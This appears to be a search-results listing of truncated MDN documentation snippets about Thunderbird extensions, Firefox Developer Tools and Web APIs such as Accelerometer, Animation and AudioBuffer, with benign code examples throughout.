mode if (gfoldertreeview.mode != "all") return; gfoldertreeview._rowmap.push(containerrow); }, right now, clicking on these additional items has no effect. however, the complete example file includes code to display the number selected in thunderbird's main viewing pane, when such a number is selected in the folder pane. a note about the initial rebuild when thunderbird first
starts up, the folder pane does an initial rebuild to get the first data it should display. unfortunately, this rebuild will occur before an extension's "load" event fires. thus, extensions may need to do manual insertions when this load event fires, if they want to add items to the initial display. add_code.js also includes code to accomplish this result. ...
Building a Thunderbird extension 2: extension file layout
tion /chrome/skin/ /defaults/preferences/ //building an extension# defaults files the following tutorial pages will explain how to write each of these files (except locale/ and defaults/) and package them into an xpi (zippy) file. you can find information about the locale/ and defaults/ folders in the more general "building an extension" documentation. to
start with the tutorial, manually create the initial directory structure for the extension as it is depicted above in a folder called myfirstext@jen.zed. this directory could be created anywhere on your filesystem. « previous next » ...
Creating a Custom Column
one of the new and exciting features available to thunderbird extension developers in thunderbird 2.0 is the ability to easily create and handle custom columns in thunderbird's main view. the following step through will get you well on the road to creating your own columns and populating them with custom data. getting
started in this example we will be developing a small extension that will be adding a column that will display the "reply-to:" field of an email (if it exists, it if often not set). if you are unfamiliar with the setup and creation of an extension please read building a thunderbird extension. adding a column by far the easiest part is the physical addition of the column. for this we overlay messenger.xul, by placing the following line in our chrome.manifest file: o...
Use SQLite
be careful of multi-thread access to your database. this will create an sqlite db named tbird.sqlite inside your profile directory with a table called attachments. you can see the schema for the attachments table in the code. to double check the information you've inserted you can query the tbird.sqlite file using regular sqlite programs. ...
Tips and Tricks from the newsgroups
hunderbird message window (when messageuri, folderuri and gdbview are unknown) determine whether a message has been flagged as junk imap: getting message key of copied message by nsimsgcopyservice::copyfilemessage access the plain text content of the email body get information about attachment without selecting message repeat image display using css sprites scan for new messages at
startup and manually scan a folder initiated by user force listeners to run consecutively to prevent pop messages from getting garbled during message retrieval ...
customDBHeaders Preference
ibed here is really new, so please try to be understanding if some of these things change tomorrow (or have changed already). while i was going through the creating a custom column guide, i built and used thunderbird-2.0b1 checked-out from cvs with the thunderbird_2_0b1_release tag. there is a high probability that your experience will be different should you use an earlier release. getting
started to build upon the reply-to column tutorial, i'll describe the process i went through in developing a custom column to display a 'superfluous' column within thunderbird's main view. the data will come from a custom header labeled x-superfluous. setting the preferences although there are various ways to set preferences, i tend to just navigate to the directory where my profile is stored and ed...
Using the Mozilla source server
note: source server support does not work correctly out of the box in visual studio 2005. if you install windbg, and copy srcsrv.dll from the windbg install dir to the visual studio install dir (replacing the existing copy) it will work. enable source server support under tools -> options. also, disable (uncheck) the box that says "require source files to exactly match the original version".
start debugging your program. symbols will load and then, if you're using a cvs build, when you try to step into or step over a confirmation window will appear asking if you trust the cvs command that source server is trying to run. after the command executes, the source file will load in the window. ...
WebIDL bindings
ot exposed to webpages). from the point of view of web content, it's as if the interface member were not there at all. these members are exposed to chrome script working with a content object via xrays. if specified on an interface as a whole, this functions like [func] except that the binding code will automatically check whether the caller script has the system principal (is chrome or a worker
started from a chrome page) instead of calling into the c++ implementation to determine whether to expose the interface object on the global. this means that accessing a content global via xrays will show [chromeonly] interface objects on it. if specified on a dictionary member, then the dictionary member will only appear to exist in system-privileged code. this extended attibute can be specified tog...
Working with windows in chrome code
to store a string or a number, writing a whole xpcom component may be an unnecessary complication. you can use the preferences service in such cases. pros: quite easy to use for storing simple data. cons: can't easily be used to store complex data. abusing the preferences service and not cleaning up after yourself can cause prefs.js to grow large and slow down application
startup. see code snippets:preferences for detailed description of the preferences system and example code. example: var prefs = components.classes["@mozilla.org/preferences-service;1"] .getservice(components.interfaces.nsiprefservice); var branch = prefs.getbranch("extensions.myext."); var var1 = branch.getboolpref("var1"); // get a pref see also code snippets:dialog...
XPI
nstall.js or install.rdf) as well as the actual software to install, which is often itself packaged as a jar file. when downloaded or dropped into an extension manager, xpinstall automatically interacts with the installation instructions contained in the xpi, and installs the contained software. xpi archives only support files stored uncompressed or compressed using the "deflate" method. note:
starting in gecko 2.0, xpi files are no longer unpacked when extensions are installed. instead, the xpi itself is placed in the extensions directory, and files are loaded directly out of the package. see updating extensions for firefox 4 for details. when xpi files are served via http, the application/x-xpinstall mime type should be matched with the xpi file extension. see also bundles xpinstall...
Declaring and Calling Functions
functions are declared using the library object's declare() method. once declared, functions can be called using standard function syntax. prerequiste understanding see abi. example: no input parameters in this example, we declare the libc clock() function, which returns the elapsed time since system
startup, then fetch and output that value. const clock = lib.declare("clock", ctypes.default_abi, ctypes.unsigned_long); console.log("clocks since
startup: " + clock()); the clock() function requires no input parameters; it simply returns an unsigned long. example: multiple input parameters this example declares the libc asctime() function, which converts a time structure into a string. const asctime = lib.declare("asctime", ctypes.default_abi, ctypes.char.ptr, struct_tm.ptr); for a mo...
Working with ArrayBuffers
edata(x, y, w, h); var array = imagedata.data; // array is a uint8clampedarray var buffer = imagedata.data.buffer; // buffer is a arraybuffer // incomingbuffer is a typedarray var imagedata2 = context.createimagedata(w, h); imagedata2.data.set(incomingbuffer); further, if you have a byte array pixelbuffer, and you need to create imagedata from it. the data property holds an array of bytes. we
start with the following: // pixelbuffer is a pointer to a rgba pixel buffer of 400x400 image. pixelbuffer.tostring(); // "ctypes.uint8_t.ptr(ctypes.uint64("0x352e0000"))" var imgwidth = 400; var imgheight = 400; var myimgdat = new imagedata(imgwidth, imgheight); method 1: passing arraytype cdata to uint8clampedarray.prototype.set one method is to get into a js-ctypes array, and then set it into t...
Initialization and Destruction - Plugins
h the same url. the data is passed to npp_new through its saved parameter. for example, a video player could save the last frame number to be displayed. when the user returns to the page, the previous frame number is passed to the new instance of the plug-in, so it can initially display the same frame. note that you cannot count on data being saved this way; the data may be lost if the browser re
starts or purges memory. ownership of the buf field of the npsaveddata structure passes from the plug-in to the browser when npp_destroy returns. the example in this section sets up a buffer and allocates memory for it. you can use this type of buffer to handle data saved from one instance of a plug-in to another. the example shows the use of the optional save parameter of npp_destroy and saved parame...
Streams - Plugins
he file through a call to npp_streamasfile. note: most plug-ins that need the stream saved to a file should use np_asfileonly mode rather than the older np_asfile; this mode is less efficient because it uses successive calls to npp_write. npp_streamasfile provides the plug-in with a full path to a local file for the stream. it is a good idea to check that the file exists in the directory at the
start of this method. if an error occurs during data retrieval or writing to the file, the browser passes null for the filename. if the file is created from a stream from the network, the file is locked in the the browser disk cache until the stream or its instance is destroyed. void npp_streamasfile(npp instance, npstream *stream, const char* fname); the instance parameter is the current plug-i...
URLs - Plugins
ue); sending mail a plug-in can send an email message using npn_posturl or npn_posturlnotify. the following code sends a mail message with the default headers from the client machine. char* mydata = "\nhi fred, this is a message from my plug-in!"; uint32 mylength = strlen(mydata) + 1; err = npn_posturlnotify(instance, "mailto:fred@example.com", null, mylength, mydata, false); the example
starts by defining the mail message, mydata, and its length, mylength. it sends mydata and mylength to the mailto url mailto:fred@example.com. the target window for displaying the message is null in the example. normally, using a null target window causes the response to be delivered from the server to the plug-in instance in a new stream, but no response is expected for a mailto url. you cannot use e...
Preferences System
this document describes toolkit's preferences system. using this system it is possible to create preferences windows that display and operate appropriately on various platforms (windows, macos x and gnome). the system is implemented through a few xul elements and attributes. ...
Introduction to DOM Inspector - Firefox Developer Tools
cting the dom inspector menu item from the tools menu in firefox and thunderbird, or by using ctrl/cmd+shift+i in either application. dom inspector is standalone; it supports all toolkit applications, and it's possible to embed it in your own xulrunner app. dom inspector can serve as a sanity check to verify the state of the dom, or it can be used to manipulate the dom by hand, if desired. note:
starting with firefox 3, the dom inspector is not included in firefox by default; instead, you must download and install it from the mozilla add-ons web site. (note: this is now a dead link.) when you first
start the dom inspector, you are presented with a two-pane application window that looks a little like the main mozilla browser. like the browser, the dom inspector includes an address bar, and som...
DOM Inspector - Firefox Developer Tools
ated using a two-paned window that allows a variety of different views on the document and all nodes within. this tool is an add-on for xul-based applications such as firefox and thunderbird. if you are looking for the dom inspector that's built into firefox, see the documentation for the page inspector. documentation introduction to dom inspector a guided tutorial that will help you get
started with dom inspector. dom inspector faq answers to common questions on dom inspector. dom inspector page at mozillazine more information on the dom inspector. how to build the dom inspector blog post on building the dom inspector from source. getting dom inspector firefox & thunderbird you may download and install the dom inspector from the amo web site. (thunderbird users brows...
DOM Property Viewer - Firefox Developer Tools
enabling the dom property viewer the dom property viewer is not enabled by default. to enable it, open the developer tool settings and check the "dom" box under "default firefox developer tools". ...
Examine, modify, and watch variables - Firefox Developer Tools
ecution pauses. you can then examine the results of these expressions. these are useful in that they let you inspect invariants in your code that you know are there but aren't necessarily in the code ready for inspection. to add a watch expression, click in the box that says "add watch expression" and enter a javascript expression whose output you'd like to monitor as you step through code. then
start running your code. the watch expression does nothing until you begin to step through your code, so nothing happens until you reach a breakpoint. at that point, a box showing your active watch expressions and their current values will appear: you can step through your code, watching the value of the expression as it changes; each time it does, the box will flash briefly yellow. you can remove a...
Step through code - Firefox Developer Tools
. the thinking here is that if you've got your devtools open in a separate window, as many people do, it can be easier to have the buttons available right there to move the code forward while you are looking at the result. if you want to turn this feature off, since firefox 71 you can do so by going to about:config in a new tab, setting the devtools.debugger.features.overlay pref to false, and re
starting the browser. inline variable preview new in firefox 71, the source pane now gives you an instant preview of the variables on each line of code you've stepped through. see set a breakpoint > inline variable preview for more information. ...
Set event listener breakpoints - Firefox Developer Tools
this article explains how to use it. using a standard event breakpoint to use an event breakpoint, you open up the javascript debugger, and find and expand the event listener breakpoints section in the right hand column. to break when event listeners are hit, check the boxes next the events you are interested in. all of the standard events supported in your version of firefox are listed, arranged by which api or api area they're part of. now when a keydown, keyup, keypress, or input event occurs, execution will pause as soon as it enters the listener code. ...
Source map errors - Firefox Developer Tools
extensions. see bug 1437937: webextensions doesn't find source maps for details. source-map-fehler: typeerror: networkerror when attempting to fetch resource. ressourcen-adresse: moz-extension://c7f0f003-4fcf-49fd-8ec0-c49361266581/background.js source-map-adresse: background.js.map the only workaround is to manually change the map url to a public one (http://localhost:1234/file.map.js) and
start a local webserver at this port. ...
UI Tour - Firefox Developer Tools
mber. clicking a line selects the corresponding line in the source pane. note: if you click step over (f10) after changing the selected line in the source pane, the debugger executes until reaching the line following the newly-selected line (disregarding whatever line the debugger originally stopped at). right-clicking in the call stack pane opens a context menu with the following items: re
start frame re
starts execution at the beginning of the current frame. enable framework grouping collects items belonging to a framework into a collapsible group (for example, jquery in the screenshot above). when grouping is enabled, the menu option changes to disable framework grouping. copy source uri copies the full identifier of the source file to the clipboard. ignore source causes the debugger...
Debugger.Environment - Firefox Developer Tools
me in this environment.name must be a string that is a valid ecmascript identifier name;value must be a debuggee value. if this environment binds no variable namedname, throw a referenceerror. this is not an invocation function; if this call would cause debuggee code to run, this call throws a debugger.debuggeewouldrun exception. find(name) return a reference to the innermost environment,
starting with this environment, that bindsname. ifname is not in scope in this environment, return null.name must be a string whose value is a valid ecmascript identifier name. source metadata generated from file: js/src/doc/debugger/debugger.environment.md watermark: sha256:3d6f67939e351803d5d7fe201ed38c4aaf766caf032f255e168df1f1c6fe73cb changeset: 7ae377917236 ...
Debugger.Source - Firefox Developer Tools
eturned in this case. binary if the instance refers to webassembly code and the debugger has the allowwasmbinarysource property set, a uint8array that contains the webassembly bytecode. url if the instance refers to javascript source, the filename or url from which this script’s code was loaded. for scripts created by eval or the function constructor, this may be a synthesized filename,
starting with a valid url and followed by information tracking how the code was introduced into the system; the entire string is not a valid url. for function.prototype’s script, this is null. source may be loaded from a url in the following ways: the url may appear as the src attribute of a <script> element in markup text. the url may be passed to the worker web worker constructor,...
Tutorial: Show Allocations Per Call Path - Firefox Developer Tools
er scratchpad (menu button > developer > scratchpad), and select "browser" from the "environment" menu. (this menu will not be present unless you have changed the preference as explained above.) selecting the 'browser' context in the scratchpad enter the following code in the scratchpad: // this simply defines the 'debugger' constructor in this // scratchpad; it doesn't actually
start debugging anything. components.utils.import('resource://gre/modules/jsdebugger.jsm'); adddebuggertoglobal(window); (function () { // the debugger we'll use to observe a tab's allocation. var dbg; //
start measuring the selected tab's main window's memory // consumption. this function is available in the browser // console. window.demotrackallocations = function() { dbg = new deb...
Deprecated tools - Firefox Developer Tools
d + enter on macos). when evaluating, the input isn't cleared, which makes it possible to quickly iterrate over a snippet of code. the results are displayed in the console output, to the right of the input, providing immediate feedback. unlike in scratchpad, errors are properly displayed in the output with an expandable stacktrace, making it easier to debug the code you're currently writing.
starting firefox 72, you can import a javascript file content in the console input with ctrl + o (cmd + o on macos), as well as saving the console input content to a file using ctrl + s (cmd + s on macos). webide and connect page webide was deprecated as of firefox 69 disabled as of firefox 70 (bug 1539451). removed as of firefox 71 (bug 1539462). description webide allowed you to connect the fir...
Measure a portion of the page - Firefox Developer Tools
checkbox. you will now see the measure a portion of the page button at the top right of the toolbox, in the same place as the settings/options button. when you want to use the tool, click this button. now when you mouse over the viewport, you'll see the mouse has a crosshair cursor with its current coordinates displayed beside it. when you hold the mouse button down and then drag, you'll
start to draw a rectangle, with its x, y, and diagonal dimensions displayed. the units are in pixels. when you stop holding the mouse down, the rectangle that was displayed on screen when you released the button will stay there until you click again, allowing you time to take screenshots, note the information down, etc. the rectangle can also be resized later on by clicking one of the handles around i...
Basic operations - Firefox Developer Tools
"save": you'll be prompted for a name and location, and the file will be saved with an .fxsnapshot extension. to load a snapshot from an existing .fxsnapshot file, click the import button, which looks like a rectangle with an arrow rising from it (before firefox 49, this button was labeled with the text "import..."): you'll be prompted to find a snapshot file on disk. comparing snapshots
starting in firefox 45, you can diff two heap snapshots. the diff shows you where memory was allocated or freed between the two snapshots. to create a diff, click the button that looks like a venn diagram next to the camera icon (before firefox 47, this looked like a "+/-" icon): you'll be prompted to select the snapshot to use as a baseline, then the snapshot to compare. the tool then shows you th...
Dominators - Firefox Developer Tools
cleaning up, and frees the memory the objects occupied. reachability in modern javascript implementations, the runtime decides whether an object is no longer needed based on reachability. in this system the heap is represented as one or more graphs. each node in the graph represents an object, and each connection between nodes (edge) represents a reference from one object to another. the graph
starts at a root node, indicated in these diagrams with "r". during garbage collection, the runtime traverses the graph,
starting at the root, and marks every object it finds. any objects it doesn't find are unreachable, and can be deallocated. so when an object becomes unreachable (for example, because it is only referenced by a single local variable which goes out of scope) then any objects it re...
Dominators view - Firefox Developer Tools
this is useful for understanding the "retained size" of objects allocated by your site: that is, the size of the objects themselves plus the size of the objects that they keep alive through references. if you already know what shallow size, retained size, and dominators are, skip to the dominators ui section. otherwise, you might want to review the article on dominators concepts. dominators ui to see the dominators view for a snapshot, select "dominators" in the "view" drop-down list. ...
Inspecting web sockets - Firefox Developer Tools
rs, available in the tool bar of the response pane, grouped into a selection list. the following filters are available: all displays all messages (by default, except control messages). sent displays only messages sent by the browser (by default, except control messages). received displays only messages received from the server (by default, except control messages). control (available
starting in firefox 76). displays messages for control frames (ping, pong, or close). this filter can be combined with the others, to display, for example, only messages for control frames sent by the browser. columns in the response pane in the response pane, you can choose to show the following information about each frame: data size time opcode maskbit finbit the data and time columns a...
Network request details - Firefox Developer Tools
html preview if the response is html, a preview of the rendered html appears inside the response tab, above the response payload. timings tab the timings tab provides information about how long each stage of a network request took, with a more detailed, annotated, view of the timeline bar, so it is easy to locate performance bottlenecks. this tab can include the following sections. queued,
started, downloaded new in firefox 72, we now show the following timings at the top of the timings tab, making dependency analysis a lot easier: queued: when the resource was queued for download.
started: when the resource
started downloading. downloaded: when the the resource finished downloading. note: future versions will also show this information when entries in the network monitor timeli...
Network Monitor - Firefox Developer Tools
t information. the just opened tool looks like this: either action causes the network monitor to begin monitoring network activity. once the tool is monitoring network requests, the display looks like this: when it is actively monitoring activity, the network monitor records network requests any time the toolbox is open, even if the network monitor itself is not selected. this means you can
start debugging a page in, for example, the web console, then switch to the network monitor to see network activity without having to reload the page. ui overview the ui is divided into four main pieces: the main screen contains the toolbar, the network request list, and the network request details pane: the performance analysis view is a separate screen: working with the network monitor...
Reposition elements in the page - Firefox Developer Tools
if an element has its position property set to absolute, relative or fixed and one or more of the top, bottom , left or right properties, the box model view displays a button: if you click that button, two handles appear next to the element: you can use these handles to drag the element around the page. if the element is absolutely positioned, dashed lines are shown representing the offset parent. for relatively positioned elements the dashed lines indicate the original position of the node. ...
Select an element - Firefox Developer Tools
element in the html pane to select it: you can also use the arrow keys to move around the dom with the keyboard. with the node picker to select an element in the page itself, activate the "node picker" by clicking its icon: (also called the select element icon). after that, as you move the mouse around the page, the element under the mouse is highlighted. click the element to select it:
starting in firefox 52, if you shift + click the element, then it is selected but the picker stays active. this lets you see the rules for the element in the css pane, but conveniently select another element in the page. ...
UI Tour - Firefox Developer Tools
. to learn more about the css declarations listed in this view, see examine computed css. changes view when you are editing in the rules view, you can see the changes you have made in the changes view. computed view the computed view shows you the complete computed css for the selected element (the computed values are the same as what getcomputedstyle would return.): compatibility view
starting with firefox developer edition version 77, the compatibility view shows css compability issues, if any, for properties applied to the selected element, and for the current page as a whole. it shows icons for the browsers that do support the properties, and notes properties that are experimental or deprecated. click the name of the property to open the reference article for that property o...
Paint Flashing Tool - Firefox Developer Tools
rm 4s; } body:hover #moving-box-left-margin{ margin-left: 74%; } body:hover #moving-box-transform { transform: translate(300%); } to see the transition, move the mouse into the space below: now switch paint flashing on, and try it again. you should see that the margin-left version triggers a series of repaints as the element moves, while the transform version only causes repaints in the
start and end positions. why? well, when you use transform, the browser creates a separate layer for the element. so when the element is moved, all that's changed is the relation of the two layers to each other, which is handled in composition: neither layer needs a repaint. in this case, with a simple style, the extra repaints don't make much of a difference. but if the style were computationally ex...
Flame Chart - Firefox Developer Tools
underneath that, colored olive-green, are the calls it's making to sort(). underneath that, like the teeth of a comb, are all the calls being made to each sorting algorithm. let's zoom in: this slice is about 140 ms long, and shows us more details of the functions being called by sort(). the sort() code is just this: function sort(unsorted) { console.log(bubblesort(unsorted)); ...
How to - Firefox Developer Tools
open the performance tools to open the performance tools: press shift + f5 select "performance" from the web developer submenu in the firefox menu (or tools menu if you display the menu bar or are on os x) select "performance" from tools button, in the toolbar, if you have one: record a profile to
start a new recording, press the stopwatch icon in the recordings pane. to stop, press it again: you can also
start and stop recording from the web console, using console.profile() and console.profileend(). save a profile to save a profile, click the link labeled "save" in the recordings pane: load a profile to load a profile, click "import..." and choose the file: clear all loaded profiles to clear all loaded profiles, click "clear". if you do this, you'll lose any loa...
UI Tour - Firefox Developer Tools
note that if you do this, you lose any recordings you have not saved. filter the markers that are displayed in the waterfall view switch the active tool in the details pane. ...
Performance - Firefox Developer Tools
d garbage collection the call tree shows the javascript functions in which the browser spent most of its time the flame chart shows the javascript call stack over the course of the recording the allocations view shows the heap allocations made by your code over the course of the recording. this view only appears if you checked "record allocations" in the performance tool settings. getting
started ui tour to find your way around the performance tool, here's a quick tour of the ui. how to basic tasks: open the tool, create, save, load, and configure recordings components of the performance tool frame rate understand your site's overall responsiveness. call tree find bottlenecks in your site's javascript. allocations see the allocations made by your code ove...
Responsive Design Mode - Firefox Developer Tools
dpr is no longer editable; create a custom device in order to change the dpr throttling - a drop-down list where you can select the connection throttling to apply, for example 2g, 3g, or lte enable/disable touch simulation - toggles whether or not responsive design mode simulates touch events. while touch event simulation is enabled, mouse events are translated into touch events; this includes (
starting in firefox 79) translating a mouse-drag event into a touch-drag event. (note that when touch simulation is enabled, this toolbar icon is blue; when simulation is disabled, it is black. on the right end of the screen, three buttons allow you to: camera button - take a screenshot settings button - opens the rdm settings menu close button - closes rdm mode and returns to regular browsing ...
Shader Editor - Firefox Developer Tools
the unreal engine demo): opening the shader editor the shader editor is disabled by default. to enable it, open the toolbox settings and check "shader editor" in the "default firefox developer tools" item. you'll now see "shader editor" appear in the toolbar. click it and the shader editor opens. at first you'll just see a blank window with a button asking you to reload the page: to get
started, load a page which creates a webgl context and loads a program into it. the screenshots below are from the unreal engine demo. you'll now see a window divided into three panes: a list of all the glsl programs on the left, the vertex shader for the currently selected program in the middle, and the fragment shader for the currently selected program on the right: managing programs the left ha...
Taking screenshots - Firefox Developer Tools
pboard from firefox 53, you can also copy the screenshot to the clipboard. just check the box in settings labeled "screenshot to clipboard": now, whenever you take a screenshot, the screenshot is also copied to the clipboard. taking screenshots with the web console if you need to specify a different device-pixel-ratio, set a delay before taking the screenshot, or specify your own file name,
starting in firefox 62 you can use the :screenshot helper function in the web console. type :screenshot in the web console to create a screenshot of the current page. by default, the image file will be named screen shot yyy-mm-dd at hh.mm.ss.png. tip: you could type :s and then hit tab to autocomplete :screenshot. the command has the following optional parameters: command type desc...
Validators - Firefox Developer Tools
ri. link checker this tool will check links on a given web page. html tidy html tidy is a tool that can be used to report errors in an html page and to format web pages for better reading. (some authoring software, such as html-kit, builds in html tidy which makes validation quick and easy.) html validator pro this is an automated html5 checker using the same validator as the w3c. provide a
starting url and the tool will find and validate all pages in a website. accessibility services lynx viewer checks a web page using lynx visualization and allows validation of accessibility features original document information last updated date: august 16th, 2002 copyright © 2001-2003 netscape. ...
Console messages - Firefox Developer Tools
ansport-security header. see http strict transport security for more details. this site makes use of a sha-1 certificate; it's recommended you use certificates with signature algorithms that use hash functions stronger than sha-1. the site uses a certificate whose signature uses the sha-1 hash algorithm. sha-1 is still still widely used in certificates, but it is
starting to show its age. web sites and certification authorities are encouraged to switch to stronger hash algorithms in future. see the weak signature algorithm article for more details. note that the sha-1 certificate may not be your site's own certificate, but may be the certificate belonging to a certification authority that was used to sign your site's certificate. bug 863874 is t...
Rich output - Firefox Developer Tools
array date promise regexp window document element event examining object properties when an object is logged to the console it has a right-pointing triangle next to it, indicating that it can be expanded. click on the triangle, and the object will be expanded to show its contents:
starting with firefox 67 (available now in firefox developer) you can use the arrow keys on your keyboard to navigate through objects displayed in the console. the right-arrow key opens the details of an object and the left-arrow key closes open objects. examining request details similar to examining object details, you can see the details about a network request directly in the console. click on the...
Web Console UI Tour - Firefox Developer Tools
s where the messages appear, both those generated by the code in the page, and those generated by the commands entered on the command line. see console messages for a lot more detail on what the messages can contain. note: you can clear the contents of the console by entering the keyboard command ctrl + shift + l (windows, macos, and linux) or cmd + k on macos. command line the command line
starts with double angle brackets (>>). use it to enter javascript expressions. in firefox 71 onwards, there is a new "split pane" icon on the right hand side of the command line — clicking this will open the new console multi-line mode. ...
ANGLE_instanced_arrays.drawArraysInstancedANGLE() - Web APIs
lues are: gl.points: draws a single dot. gl.line_strip: draws a straight line to the next vertex. gl.line_loop: draws a straight line to the next vertex, and connects the last vertex back to the first. gl.lines: draws a line between a pair of vertices. gl.triangle_strip gl.triangle_fan gl.triangles: draws a triangle for a group of three vertices. first a glint specifying the
starting index in the array of vector points. count a glsizei specifying the number of indices to be rendered. primcount a glsizei specifying the number of instances of the range of elements to execute. return value none. exceptions if mode is not one of the accepted values, a gl.invalid_enum error is thrown. if first, count or primcount are negative, a gl.invalid_value error is thrown. if...
Accelerometer.x - Web APIs
ng event callback. in the example below this occurs sixty times a second. let accelerometer = new accelerometer({frequency: 60}); accelerometer.addeventlistener('reading', e => { console.log("acceleration along the x-axis " + accelerometer.x); console.log("acceleration along the y-axis " + accelerometer.y); console.log("acceleration along the z-axis " + accelerometer.z); }); accelerometer.
start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general. accelerometerthe definition of 'x' in that specification. candidate recommendation ...
Accelerometer.y - Web APIs
ng event callback. in the example below this occurs sixty times a second. let accelerometer = new accelerometer({frequency: 60}); accelerometer.addeventlistener('reading', e => { console.log("acceleration along the x-axis " + accelerometer.x); console.log("acceleration along the y-axis " + accelerometer.y); console.log("acceleration along the z-axis " + accelerometer.z); }); accelerometer.
start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general. accelerometerthe definition of 'y' in that specification. candidate recommendation ...
Accelerometer.z - Web APIs
ng event callback. in the example below this occurs sixty times a second. let accelerometer = new accelerometer({frequency: 60}); accelerometer.addeventlistener('reading', e => { console.log("acceleration along the x-axis " + accelerometer.x); console.log("acceleration along the y-axis " + accelerometer.y); console.log("acceleration along the z-axis " + accelerometer.z); }); accelerometer.
start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general. accelerometerthe definition of 'z' in that specification. candidate recommendation ...
Accelerometer - Web APIs
mple acceleration is typically read in the sensor.onreading event callback. in the example below this occurs sixty times a second. let acl = new accelerometer({frequency: 60}); acl.addeventlistener('reading', () => { console.log("acceleration along the x-axis " + acl.x); console.log("acceleration along the y-axis " + acl.y); console.log("acceleration along the z-axis " + acl.z); }); acl.
start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general. accelerometerthe definition of 'accelerometer' in that specification. candidate recommendation ...
AmbientLightSensor.illuminance - Web APIs
yntax var level = ambientlightsensor.illuminance value a number indicating the current light level in lux. example if ( 'ambientlightsensor' in window ) { const sensor = new ambientlightsensor(); sensor.onreading = () => { console.log('current light level:', sensor.illuminance); }; sensor.onerror = (event) => { console.log(event.error.name, event.error.message); }; sensor.
start(); } specifications specification status comment generic sensor api candidate recommendation defines sensors in general. ambient light sensorthe definition of 'illuminance' in that specification. candidate recommendation ...
AmbientLightSensor - Web APIs
or.illuminance returns the current light level in lux of the ambient light level around the hosting device. example if ( 'ambientlightsensor' in window ) { const sensor = new ambientlightsensor(); sensor.onreading = () => { console.log('current light level:', sensor.illuminance); }; sensor.onerror = (event) => { console.log(event.error.name, event.error.message); }; sensor.
start(); } specifications specification status comment generic sensor api candidate recommendation defines sensors in general. ambient light sensorthe definition of 'ambientlightsensor' in that specification. candidate recommendation ...
Animation.cancel() - Web APIs
syntax animation.cancel(); parameters none. return value none. exceptions this method doesn't directly throw exceptions; however, if the animation's playstate is anything but "idle" when cancelled, the current finished promise is rejected with a domexception named aborterror. ...
Animation.currentTime - Web APIs
s a timeline, is inactive, or hasn't been played yet, currenttime's return value is null. syntax var currenttime = animation.currenttime; animation.currenttime = newtime; value a number representing the current time in milliseconds, or null to deactivate the animation. examples in the drink me/eat me game, alice's height is animated so it can go from small to large or large to small. ...
Animation.finished - Web APIs
the new promise will resolve once the new animation sequence has completed. syntax var animationspromise = animation.finished; value a promise object which will resolve once the animation has finished running. ...
Animation.onfinish - Web APIs
he finish event occurs when the animation completes naturally, as well as when the animation.finish() method is called to immediately cause the animation to finish up. the "paused" play state supersedes the "finished" play state; if the animation is both paused and finished, the "paused" state is the one that will be reported. you can force the animation into the "finished" state by setting its
starttime to document.timeline.currenttime - (animation.currenttime * animation.playbackrate). syntax var finishhandler = animation.onfinish; animation.onfinish = finishhandler; value a function to be called to handle the finish event, or null if no finish event handler is set. examples animation.onfinish is used several times in the alice in web animations api land growing/shrinking alice game...
Animation.ready - Web APIs
the read-only animation.ready property of the web animations api returns a promise which resolves when the animation is ready to play. a new promise is created every time the animation enters the "pending" play state as well as when the animation is canceled, since in both of those scenarios, the animation is ready to be
started again. since the same promise is used for both pending play and pending pause requests, authors are advised to check the state of the animation when the promise is resolved. syntax var readypromise = animation.ready; value a promise which resolves when the animation is ready to be played. you'll typically use a construct similar to this when using the ready promise: animation.ready.then(function() { // do whatever needs to be done when // the animation i...
AnimationEvent.elapsedTime - Web APIs
the animationevent.elapsedtime read-only property is a float giving the amount of time the animation has been running, in seconds, when this event fired, excluding any time the animation was paused. for an animation
start event, elapsedtime is 0.0 unless there was a negative value for animation-delay, in which case the event will be fired with elapsedtime containing (-1 * delay). syntax time = animationevent.elapsedtime specifications specification status comment css animationsthe definition of 'animationevent.elapsedtime' in that specification. working draft initial definition. ...
AnimationEvent - Web APIs
properties also inherits properties from its parent event. animationevent.animationname read only is a domstring containing the value of the animation-name that generated the animation. animationevent.elapsedtime read only is a float giving the amount of time the animation has been running, in seconds, when this event fired, excluding any time the animation was paused. for an animation
start event, elapsedtime is 0.0 unless there was a negative value for animation-delay, in which case the event will be fired with elapsedtime containing (-1 * delay). animationevent.pseudoelement read only is a domstring,
starting with '::', containing the name of the pseudo-element the animation runs on. if the animation doesn't run on a pseudo-element but on the element, an empty string: ''. met...
AudioBuffer.copyToChannel() - Web APIs
the copytochannel() method of the audiobuffer interface copies the samples to the specified channel of the audiobuffer, from the source array. syntax myarraybuffer.copytochannel(source, channelnumber,
startinchannel); parameters source a float32array that the channel data will be copied from. channelnumber the channel number of the current audiobuffer to copy the channel data to. if channelnumber is greater than or equal to audiobuffer.numberofchannels, an index_size_err will be thrown.
startinchannel optional an optional offset to copy the data to. if
startinchannel is greater than audiobuffer.length, an index_size_err will be thrown. example var myarraybuffer = audioctx.createbuffer(2, framecount, audioctx.samplerate); var anotherarray = new float32array; // copy channel data...
AudioBuffer.getChannelData() - Web APIs
math.random() * 2 - 1; } } // get an audiobuffersourcenode. // this is the audionode to use when we want to play an audiobuffer var source = audioctx.createbuffersource(); // set the buffer in the audiobuffersourcenode source.buffer = myarraybuffer; // connect the audiobuffersourcenode to the // destination so we can hear the sound source.connect(audioctx.destination); //
start the source playing source.
start(); } specification specification status comment web audio apithe definition of 'getchanneldata' in that specification. working draft ...
AudioBuffer - Web APIs
nowbuffering[i] = math.random() * 2 - 1; } } // get an audiobuffersourcenode. // this is the audionode to use when we want to play an audiobuffer var source = audioctx.createbuffersource(); // set the buffer in the audiobuffersourcenode source.buffer = myarraybuffer; // connect the audiobuffersourcenode to the // destination so we can hear the sound source.connect(audioctx.destination); //
start the source playing source.
start(); specifications specification status comment web audio apithe definition of 'audiobuffer' in that specification. working draft initial definition. ...
AudioBufferSourceNode.playbackRate - Web APIs
ffer = buffer; source.buffer = mybuffer; source.playbackrate.value = playbackcontrol.value; source.connect(audioctx.destination); source.loop = true; }, function(e){"error with decoding audio data" + e.err}); } request.send(); } // wire up buttons to stop and play audio, and range slider control play.onclick = function() { getdata(); source.
